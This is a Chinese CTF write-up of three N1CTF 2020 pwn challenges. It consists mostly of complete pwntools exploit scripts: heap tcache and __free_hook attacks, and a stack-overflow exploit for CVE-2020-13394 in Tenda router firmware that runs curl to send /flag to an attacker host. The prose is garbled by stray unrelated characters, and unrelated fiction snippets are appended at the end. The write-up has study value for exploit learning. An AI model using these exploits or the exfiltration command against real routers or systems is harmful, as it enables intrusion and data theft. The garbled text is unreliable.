N1CTF-2020 PWN 部分題解

Signin

題目邏輯

題目定義了一個(gè)用于容器空間動(dòng)態(tài)拓展的結(jié)構(gòu)體:

Struct a
{
  void* start; // 申請(qǐng)的chunk起始地址
  void* point; // 當(dāng)前使用空間的地址
  void* end; // 容器內(nèi)部最多存放元素的結(jié)束地址
}

題目new功能向容器內(nèi)部寫入一個(gè)8字節(jié)長(zhǎng)度的數(shù)字继控,容器空間拓展規(guī)則如下:每次內(nèi)部元素個(gè)數(shù)達(dá)到最大后把兔,分配當(dāng)前空間的2倍空間,并將舊空間數(shù)據(jù)拷貝到新空間。

delete功能就單純將point指針值-8僵闯。

show功能將point指針-8后的地址里面的值打印出來(lái)。

利用

不斷得new藤滥,chunk大小變化為 0x20(A), 0x20(B), 0x30, 0x50, 0x90鳖粟。

兩個(gè)0x20的chunk放入了tcache中(B->A),利用delete和show功能就能夠泄露堆地址拙绊。

修改B chunk里的fd指針向图,分配chunk到tcache里。

分配到tcache后就好辦了标沪,修改tcache->conuts[tc_idx], free掉一個(gè)chunk泄露libc基址榄攀,再修改tcache->entries[tc_idx]來(lái)申請(qǐng)到__free_hook。

由于沒(méi)有合適的one_gadget可用金句,使用setcontext+53來(lái)ROP檩赢。


1.png

EXP

#coding:utf-8
from pwn import *
context.log_level = 'debug'

def send(choice):
    p.sendlineafter('>>', str(choice))

def add(index, number):
    send(1)
    p.sendlineafter('dex:', str(index))
    p.sendlineafter('Number', str(number))

def delete(index):
    send(2)
    p.sendlineafter('dex', str(index))

def show(index):
    send(3)
    p.sendlineafter('dex', str(index))

elf = ELF('./signin')
libc = elf.libc
# p = process('./signin')

p = remote('47.242.161.199', 9990)


add(1, 0)  # chunk 0 0x20
add(1, 1)  # chunk 1 0x20
add(1, 2)  # chunk 2 0x30
add(1, 2)  # chunk 2 0x30
add(1, 3)  # chunk 3 0x50
add(1, 3)
add(1, 3)
add(1, 3)
for i in range(7): # chunk 4 0x90
    add(1, 4)
add(1, 4)

for i in range((0xe8 // 8)+6):
    delete(1)
show(1)
heap_base = int(p.recvuntil('\n')[1:]) - (0x0000560689472e70-0x0000560689461000)
log.info("HEAP BASE: "+hex(heap_base))
tcache_fake_chunk = heap_base+0x50+0x150
delete(1)
add(1, tcache_fake_chunk)

add(2, 0)
add(2, 0) # tcache_fake_chunk

add(1, 0)
add(1, 0)
add(1, 0x31)
for i in range(4):
    add(1, 0)
add(1, 0)
add(1, 0x51)
for i in range(0x40//8):
    add(1, 0)
add(1, 0)
add(1, 0x91)
for i in range(0x80 // 8):
    add(1, 0)

for i in range((0x150+0x40+0x10)//8):
    delete(2)
for i in range((0x40+0x20)//8):
    if i == 0:
        add(2, 0xffffffffffffff00)
    else:
        add(2, 0xffffffffffffffff)

add(1, 5)   # free 0x90 chunk in unsorted_bin
for i in range((0x88+0x80)//8):
    delete(1)
show(1)
libc_base = int(p.recvuntil('\n')[1:]) - (0x00007ffff782eca0-0x7ffff7443000)
log.info(hex(libc_base))
setcontext = libc_base + 0x52145
free_hook = libc_base + libc.sym['__free_hook']
sh = libc_base + libc.search('/bin/sh').next()
pop_rdi_ret = libc_base + 0x000000000002155f
pop_rdx_rsi_ret = libc_base + 0x0000000000130889
ret = libc_base + 0x00000000000008aa

for i in range(4):
    delete(2)
for i in range(0x100//8):
    add(2, free_hook)

for i in range((0x70)//8):
    add(1, 0)
add(1, 0)
add(1, 0x111)

# orw = [setcontext, pop_rdi_ret, heap_base+0x11fc0-8*3, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['open'],
#     pop_rdi_ret, 3, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['read'],
#     pop_rdi_ret, 1, pop_rdx_rsi_ret, 0x50, heap_base, libc_base+libc.sym['write']             
# ]
orw = [setcontext, pop_rdi_ret, sh, pop_rdx_rsi_ret, 0, 0, libc_base+libc.sym['system']]
for i in range((0xa0-len(orw)*8)//8):
    orw += [0]
orw += [heap_base+0x11fc0+8, ret]
for value in orw:
    add(1, value)
for i in range((0x100//8)-len(orw)):
    add(1, 0)
add(1, 0)


p.interactive()

babyrouter

晚上才看到這題,開始改docker還改出一堆錯(cuò)誤太菜了违寞,無(wú)奈拿了個(gè)四血(Venom tql)贞瞒。


2.png

題目

逆的時(shí)候發(fā)現(xiàn)有Tenda關(guān)鍵字,Google一下發(fā)現(xiàn)CVE-2020-13394,https://joel-malwarebenchmark.github.io/

鏈接里給的POC把路徑給隱藏掉了趁曼,但逆一下就能找到路徑應(yīng)該是/goform/SetNetControlList

3.png

經(jīng)過(guò)測(cè)試军浆,這個(gè)payload得發(fā)送兩次,而且需要斷開TCP連接后才能觸發(fā)漏洞點(diǎn)strcpy

給的start.sh 改成這樣挡闰,docker exec 上去用gdbserver就能愉快的調(diào)試了瘾敢。

#!/bin/sh
# Add your startup script

brctl addbr br0
ifconfig br0 10.10.10.10 up

service nginx start
nginx -t
nginx -s reload

PRO_NAME=qemu-arm
while true ; do
  NUM=`ps aux | grep ${PRO_NAME} | grep -v grep |wc -l`
  if [ "${NUM}" -lt "1" ];then
    echo "${PRO_NAME} was killed"
    ${PRO_NAME} -g 1234 -L /pwn /pwn/httpd >> /tmp/qemu.txt&  # debug
    rm /qemu_httpd*
    rm /tmp/core-qemu*
  fi
done

調(diào)試確定偏移,并且由于程序由qemu起的尿这,棧地址以及l(fā)ibc基址不變簇抵,調(diào)試得到這兩個(gè)地址直接寫進(jìn)去,最后調(diào)用system()函數(shù)射众。

由于需要斷開TCP連接才能觸發(fā)漏洞碟摆,system函數(shù)執(zhí)行curl http://ip/`cat /flag`來(lái)帶出flag

EXP

#coding:utf-8
from pwn import *
context.log_level = 'debug'

payload = '''POST /goform/SetNetControlList HTTP/1.1\r
Host: 192.168.18.131\r
Accept:  */*\r
X-Requested-With: XMLHttpRequest\r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\r
Content-Type: application/x-www-form-urlencoded\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en-US,en;q=0.9\r
Connection: close\r
Cookie: password=qpl5gk\r
\r
list={}\r
'''

url = '8.210.119.59'
port = 9990

# url = '127.0.0.1'
# port = 2333

libc_base = 0xf659b000
vuln_start = 0xf6ffefbc 
system = libc_base + 0x0005A270
sh = libc_base + 0x00626D2
pop_r0_pc = libc_base + 0x0003db80

p = remote(url, port)
p.send(payload.format('1'))
p.close()

p = remote(url, port)
p.send(payload.format(';'+'1'*(0x260-1+9)+p32(pop_r0_pc)+p32(vuln_start+0x260+0xc)+p32(system)+'curl http://your_ip/`cat /flag`'))
p.close()

easywrite

比賽時(shí)沒(méi)做出來(lái),賽后看https://ctftime.org/writeup/24295復(fù)現(xiàn)了下

思路是偽造struct tcache_perthread_struct 改 tcache, malloc(0x30)到free_hook,改free_hook叨橱。

不過(guò)沒(méi)有可用的one_gadget, 需要malloc(0x30) 到 free_hook-8, 前八個(gè)字節(jié)放"/bin/sh", 后8個(gè)字節(jié)放system函數(shù)地址典蜕。

EXP

#coding:utf-8
from pwn import *
context.log_level = 'debug'

def get_libc_base():
    p.recvuntil('gift:', timeout=5)
    libc_base = int(p.recv(14), 16) - libc.sym['setbuf']
    return libc_base

def send_message(content):
    p.sendafter('message', str(content))

def send_addr(addr):
    p.sendafter('write', p64(addr))

pfree = 0x0000000000001371

elf = ELF('./easywrite')
libc = ELF(('./libc-2.31.so'))
# p = process('./easywrite')
p = remote('124.156.183.246', 20000)

# gdb.attach(p,'b*$rebase({})'.format(pfree))

libc_base = get_libc_base()
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
tcache = libc_base + 0x1f34f0
one_gadget = libc_base + 0xe6e76
system = libc_base + libc.sym['system']


fake_chunk = '\x07'*0x80+p64(free_hook-8)*4
p.sendafter("message", str(fake_chunk))
p.sendafter('write', p64(tcache))

p.sendafter("message", '/bin/sh\x00'+p64(system))

p.interactive()

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末断盛,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子愉舔,更是在濱河造成了極大的恐慌钢猛,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,188評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件轩缤,死亡現(xiàn)場(chǎng)離奇詭異命迈,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)火的,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,464評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門壶愤,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人馏鹤,你說(shuō)我怎么就攤上這事征椒。” “怎么了湃累?”我有些...
    開封第一講書人閱讀 165,562評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵勃救,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我治力,道長(zhǎng)蒙秒,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,893評(píng)論 1 295
  • 正文 為了忘掉前任琴许,我火速辦了婚禮税肪,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘榜田。我一直安慰自己益兄,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,917評(píng)論 6 392
  • 文/花漫 我一把揭開白布箭券。 她就那樣靜靜地躺著净捅,像睡著了一般。 火紅的嫁衣襯著肌膚如雪辩块。 梳的紋絲不亂的頭發(fā)上蛔六,一...
    開封第一講書人閱讀 51,708評(píng)論 1 305
  • 那天,我揣著相機(jī)與錄音废亭,去河邊找鬼国章。 笑死,一個(gè)胖子當(dāng)著我的面吹牛豆村,可吹牛的內(nèi)容都是我干的液兽。 我是一名探鬼主播,決...
    沈念sama閱讀 40,430評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼掌动,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼四啰!你這毒婦竟也來(lái)了宁玫?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,342評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤柑晒,失蹤者是張志新(化名)和其女友劉穎欧瘪,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體匙赞,經(jīng)...
    沈念sama閱讀 45,801評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡佛掖,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,976評(píng)論 3 337
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了罚屋。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片苦囱。...
    茶點(diǎn)故事閱讀 40,115評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡嗅绸,死狀恐怖脾猛,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情鱼鸠,我是刑警寧澤猛拴,帶...
    沈念sama閱讀 35,804評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站蚀狰,受9級(jí)特大地震影響愉昆,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜麻蹋,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,458評(píng)論 3 331
  • 文/蒙蒙 一跛溉、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧扮授,春花似錦芳室、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,008評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至荔仁,卻和暖如春伍宦,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背乏梁。 一陣腳步聲響...
    開封第一講書人閱讀 33,135評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工次洼, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人遇骑。 一個(gè)月前我還...
    沈念sama閱讀 48,365評(píng)論 3 373
  • 正文 我出身青樓卖毁,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親质蕉。 傳聞我的和親對(duì)象是個(gè)殘疾皇子势篡,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,055評(píng)論 2 355